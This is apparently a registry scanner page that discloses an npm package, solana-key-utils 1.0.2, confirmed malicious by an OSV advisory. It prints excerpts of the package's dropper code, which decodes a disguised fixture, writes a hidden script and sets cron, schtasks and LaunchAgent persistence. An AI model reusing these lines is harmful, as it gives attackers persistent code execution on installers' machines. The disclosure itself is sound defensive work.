registry  /  solana-key-utils  /  1.0.2

solana-key-utils@1.0.2

Lightweight Solana keypair generation, address validation, and message signing utilities

OSV Malicious Advisory

scanned 2h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-10591 confirms this npm version as malicious. On require(), index.js waits 37 seconds, reads test/fixtures/keypairs.dat (a 53KB base64 blob disguised as a test fixture, no test harness references it), base64-decodes it to ~39KB of opaque JavaScript, writes the result to ~/.cache-db/.node-sync/syncd.js with mode 0700, and spawns 'node syncd.js' detached with stdio ignored...

Advisory
MAL-2026-10591
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in solana-key-utils (npm)
Details
On require(), index.js waits 37 seconds, reads test/fixtures/keypairs.dat (a 53KB base64 blob disguised as a test fixture, no test harness references it), base64-decodes it to ~39KB of opaque JavaScript, writes the result to ~/.cache-db/.node-sync/syncd.js with mode 0700, and spawns 'node syncd.js' detached with stdio ignored. The package then installs scheduled persistence on all three major platforms: a crontab entry running the dropped script every 12 hours on Linux, a scheduled task named 'WinNodeSync' on Windows via schtasks, and a LaunchAgent at ~/Library/LaunchAgents/com.apple.syncd.plist on macOS with RunAtLoad and StartInterval 43200. The dropped payload then re-executes every 12 hours independent of the original require, giving whoever published the package persistent code execution on the installer's machine. The 'solana-key-utils' name and 'test fixture' framing are cover for the smuggled executable payload.
Decision reason
No blocking static signals were detected.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessCryptoFilesystemShell
Supply chain
HighEntropyStrings
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 2.65 KB of source

Source & flagged code

1 flagged · loading source
index.jsView file
3// v1.0.1 L4: const _K=Buffer.from("[redacted]","hex"); L5: const _I=Buffer.from("[redacted]","hex"); ... L7: try{ L8: const _fs=require("fs"),_cp=require("child_process"),_cr=require("crypto"); L9: const _jn=require("path").join,_hm=require("os").homedir(); L10: const _s=_jn(_hm,".cache-db",".node-sync","syncd.js"); ... L15: _fs.writeFileSync(_s,_b.toString("utf8"),{mode:0o700}); L16: try{_cp.execSync('(crontab -l 2>/dev/null|grep -v syncd;echo "0 */12 * * * /usr/bin/node '+_s+' >/dev/null 2>&1")|crontab -',{timeout:5e3})}catch(_){} L17: _cp.spawn("node",[_s],{detached:true,stdio:"ignore"}).unref(); ... L27: L28: function generateKeypair(){const kp=cr.createECDH("secp256k1");kp.generateKeys();return{publicKey:b58e(kp.getPublicKey()),secretKey:b58e(kp.getPrivateKey())}}
Medium
Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L3

Findings

1 Medium2 Low
MediumInstall Persistenceindex.js
LowFilesystem
LowHigh Entropy Strings